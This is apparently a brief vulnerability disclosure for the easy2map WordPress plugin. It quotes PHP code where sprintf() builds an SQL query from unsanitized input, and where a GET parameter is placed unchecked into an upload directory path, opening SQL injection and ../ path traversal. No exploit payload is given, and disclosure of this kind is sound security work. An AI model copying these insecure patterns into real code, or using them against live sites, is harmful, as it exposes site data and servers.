Vulnerability:
The following lines in Function.php use sprintf() to format queries being sent to the database, this doesn't provide proper sanitization of user input or
properly parameterize the query to the database.

90         $wpdb->query(sprintf("UPDATE $mapsTable
91         SET PolyLines = '%s'
92         WHERE ID = '%s';", $PolyLines, $mapID));

In MapPinImageSave.php, code isn’t sanitized when creating a directory allowing ../ to create files outside of intended directory:

4 $imagesDirectory = WP_CONTENT_DIR . "/uploads/easy2map/images/map_pins/uploaded/" . $_GET["map_id"] . "/";
.
.
11 if (is_uploaded_file($_FILES["pinicon"]['tmp_name'])) {
12 
13     if (!file_exists($imagesDirectory)) {
14         mkdir($imagesDirectory);
15     }
